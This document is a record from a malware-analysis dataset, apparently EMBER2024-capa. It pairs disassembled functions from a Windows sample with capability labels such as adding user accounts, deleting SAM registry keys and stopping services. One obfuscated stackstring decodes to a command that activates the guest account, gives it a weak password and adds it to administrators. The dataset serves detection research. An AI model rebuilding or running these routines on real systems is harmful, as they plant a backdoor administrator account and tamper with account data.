joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419470
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], eax
push 0x40
push 0
lea ecx, [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x44], 0x40
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x48], ecx
push 0
push 0x400
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00426f90
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
push 0
push 0x400
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00426f90
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x4c]
add eax, 1
mov ecx, dword [ebp - 0x48]
adc ecx, 0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
push 0x4038f0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4195fe
Capabilities:
List groups for user account

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
push edi
mov dword [ebp - 0x20c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x32c], 1
mov dword [ebp - 0x210], 0xffffffff
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x328], 0
mov word [ebp - 0x204], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x202]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 0x310], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x30f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x204]
push ecx
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
mov dword [ebp - 0x314], eax
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x318]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp - 0x32c]
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0
call sub.NETAPI32.dll_NetUserGetLocalGroups
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
jne 0x419862
mov dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
je 0x419862
mov dword [ebp - 0x338], 0
jmp 0x419718
mov ecx, dword [ebp - 0x338]
add ecx, 1
mov dword [ebp - 0x338], ecx
mov edx, dword [ebp - 0x338]
cmp edx, dword [ebp - 0x318]
jae 0x419862
cmp dword [ebp - 0x330], 0
jne 0x419738
jmp 0x419862
mov dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
mov dword [ebp - 0x31c], eax
mov edx, dword [ebp - 0x31c]
add edx, 1
push edx
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax]
push ecx
push 0x4038f4
mov edx, dword [ebp - 0x33c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100
mov eax, dword [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x310]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x324], eax
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x324], 0
je 0x4197f5
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x324]
mov byte [ecx], 0x2f
mov edx, dword [ebp - 0x324]
add edx, 1
mov dword [ebp - 0x324], edx
mov dword [ebp - 0x340], 0
jmp 0x419810
mov eax, dword [ebp - 0x340]
add eax, 1
mov dword [ebp - 0x340], eax
mov ecx, dword [ebp - 0x340]
cmp ecx, dword [ebp - 0x208]
jge 0x41983f
mov edx, dword [ebp - 0x324]
add edx, dword [ebp - 0x340]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x340]
mov cl, byte [ebp + ecx - 0x310]
mov byte [eax + edx], cl
jmp 0x419801
mov edx, dword [ebp - 0x330]
add edx, 4
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x334]
add eax, 1
mov dword [ebp - 0x334], eax
jmp 0x419709
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x41990b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push edi
mov dword [ebp - 0x118], ecx
push 1
push 0x4038f8
call fcn.0041e39a
add esp, 8
mov dword [0x429a14], 0
call fcn.0041d630
test eax, eax
jne 0x419944
xor eax, eax
jmp 0x419ace
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov byte [eax], 0x8a
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
jmp 0x419973
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [0x429a14]
jge 0x419ab8
mov byte [ebp - 0x110], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push eax
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x32
add ecx, 0x429a18
push ecx
call fcn.004195fe
add esp, 8
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x32
add edx, 0x429a18
push edx
call fcn.00419869
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x40390c
cmp dword [ebp - 0x10], 0
je 0x4199e9
mov dword [ebp - 0x114], 0x403914
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
add eax, 0x429a18
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x32
add ecx, 0x429a18
push ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
add eax, 0x429a18
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 1]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 1]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp - 0x114]
push ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 1]
mov dword [ebp - 8], edx
jmp 0x41996a
push 0x42
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x419b1b
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
push 0x40391c
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
push 0x403924
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x419b5f
mov ecx, dword [ebp + 8]
push ecx
push 0x40392c
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x419b75
mov eax, dword [ebp + 8]
push eax
push 0x403930
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x41
mov byte [ebp - 0x2e], 0x4d
mov byte [ebp - 0x2d], 0x5c
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x4d
mov byte [ebp - 0x29], 0x5c
mov byte [ebp - 0x28], 0x44
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x6d
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x5c
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x55
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x30]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x419c11
xor eax, eax
jmp 0x419c3b
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10], 0
jne 0x419c39
mov eax, 1
jmp 0x419c3b
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x419d21
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 0x60], ecx
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x41
mov byte [ebp - 0x2e], 0x4d
mov byte [ebp - 0x2d], 0x5c
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x4d
mov byte [ebp - 0x29], 0x5c
mov byte [ebp - 0x28], 0x44
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x6d
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x5c
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x55
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x4e
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x5c
mov byte [ebp - 0xc], 0
mov byte [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0x403938
lea ecx, [ebp - 0x5c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x30]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x419df8
xor eax, eax
jmp 0x419e3b
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
jne 0x419e1f
mov byte [ebp - 8], 0x85
jmp 0x419e23
mov byte [ebp - 8], 0x86
push 1
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x60]
call fcn.00410893
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret 4
Function at 0x419e41
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x100], 0
mov byte [ebp - 0xf8], 0
push 1
mov ecx, dword [ebp - 0x108]
call fcn.00410944
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
push eax
mov ecx, dword [ebp - 0x108]
call fcn.00410944
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esi + eax + 3]
push eax
mov ecx, dword [ebp - 0x108]
call fcn.00410944
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x104]
push ecx
call fcn.00417522
add esp, 4
mov dword [ebp - 0xec], eax
mov edx, dword [ebp - 0xf4]
push edx
call fcn.00417522
add esp, 4
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe0], 1
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 1
mov dword [ebp - 0xd0], 0
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0xec]
push ecx
push 1
push 0
call sub.NETAPI32.dll_NetUserAdd
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
je 0x419f6c
mov byte [ebp - 0xf8], 0x84
push 1
lea edx, [ebp - 0xf8]
push edx
mov ecx, dword [ebp - 0x108]
call fcn.00410893
jmp 0x41a015
mov word [ebp - 0xc8], 0
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0xc6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebp - 0xec]
push eax
lea ecx, [ebp - 0xc8]
push ecx
call sub.MSVCRT.dll_wcscpy
add esp, 8
lea edx, [ebp - 0xc8]
mov dword [ebp - 0xf0], edx
push 1
lea eax, [ebp - 0xf0]
push eax
push 3
mov ecx, dword [ebp - 0xcc]
push ecx
call fcn.00417522
add esp, 4
push eax
push 0
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x419fe2
mov byte [ebp - 0xf8], 0x83
jmp 0x419fe9
mov byte [ebp - 0xf8], 0x84
push 1
lea edx, [ebp - 0xf8]
push edx
mov ecx, dword [ebp - 0x108]
call fcn.00410893
mov ecx, dword [ebp - 0x108]
call fcn.00419ad3
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41a01b
Capabilities:
Delete user account
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov dword [ebp - 0xc8], ecx
push 1
mov ecx, dword [ebp - 0xc8]
call fcn.00410944
mov dword [ebp - 0x10], eax
mov byte [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00417522
add esp, 4
push eax
push 0
call sub.NETAPI32.dll_NetUserDel
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41a077
mov byte [ebp - 8], 0x85
push 1
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 0xc8]
call fcn.00410893
cmp dword [ebp - 4], 0
je 0x41a17c
cmp dword [ebp - 4], 0x8ad
je 0x41a17c
mov edx, dword [ebp - 0x10]
push edx
push 0x40393c
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x18], 0
mov ecx, 1
test ecx, ecx
je 0x41a151
lea edx, [ebp - 0x9c]
push edx
lea eax, [ebp - 0x98]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x41a133
mov dword [ebp - 0xc4], 4
lea ecx, [ebp - 0xc4]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0xa0]
push eax
push 0
push 0x42a3e4
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xa0]
push eax
push 0x403964
lea ecx, [ebp - 0xc0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x41a151
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0x64
jle 0x41a14c
jmp 0x41a187
jmp 0x41a0ae
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc8]
call fcn.00419d21
test eax, eax
je 0x41a17c
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, dword [ebp - 0xc8]
call fcn.00419b1b
test eax, eax
je 0x41a17c
jmp 0x41a187
mov ecx, dword [ebp - 0xc8]
call fcn.00419ad3
mov esp, ebp
pop ebp
ret
Function at 0x41a18b
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], eax
push 0x40
push 0
lea ecx, [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x44], 0x40
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x48], ecx
push 0
push 0x400
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00426f90
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
push 0
push 0x400
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00426f90
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x4c]
add eax, 1
mov ecx, dword [ebp - 0x48]
adc ecx, 0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
push 0x40396c
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41ad6c
Capabilities:
Acquire debug privileges
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
push 1
push 0x403970
call fcn.0041e39a
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0x403984
push 0xf01ff
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x24], 1
je 0x41addd
lea ecx, [ebp - 0x28]
push ecx
push 1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push 0x403994
call fcn.0041e39a
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x41ae3b
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x60], 0x6e
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x20
mov byte [ebp - 0x5c], 0x75
mov byte [ebp - 0x5b], 0x73
mov byte [ebp - 0x5a], 0x65
mov byte [ebp - 0x59], 0x72
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x67
mov byte [ebp - 0x56], 0x75
mov byte [ebp - 0x55], 0x65
mov byte [ebp - 0x54], 0x73
mov byte [ebp - 0x53], 0x74
mov byte [ebp - 0x52], 0x20
mov byte [ebp - 0x51], 0x2f
mov byte [ebp - 0x50], 0x61
mov byte [ebp - 0x4f], 0x63
mov byte [ebp - 0x4e], 0x74
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x76
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x3a
mov byte [ebp - 0x49], 0x79
mov byte [ebp - 0x48], 0x65
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x20
mov byte [ebp - 0x45], 0x26
mov byte [ebp - 0x44], 0x26
mov byte [ebp - 0x43], 0x20
mov byte [ebp - 0x42], 0x6e
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 0x20
mov byte [ebp - 0x3e], 0x75
mov byte [ebp - 0x3d], 0x73
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x20
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x75
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x31
mov byte [ebp - 0x32], 0x32
mov byte [ebp - 0x31], 0x33
mov byte [ebp - 0x30], 0x34
mov byte [ebp - 0x2f], 0x35
mov byte [ebp - 0x2e], 0x36
mov byte [ebp - 0x2d], 0x20
mov byte [ebp - 0x2c], 0x26
mov byte [ebp - 0x2b], 0x26
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x67
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x75
mov byte [ebp - 0x1c], 0x70
mov byte [ebp - 0x1b], 0x20
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x67
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0x20
mov byte [ebp - 5], 0x2f
mov byte [ebp - 4], 0x61
mov byte [ebp - 3], 0x64
mov byte [ebp - 2], 0x64
mov byte [ebp - 1], 0
push 0
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret
Function at 0x41afd4
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0x130]
mov eax, dword [edx]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 0x108], eax
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x138]
add edx, 0x24
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
push 0
lea edx, [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x110], 0
push 0
lea edx, [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x128], 0x70
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x118], ecx
push 4
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x127]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x123]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 9
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x138]
call fcn.00410893
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret 8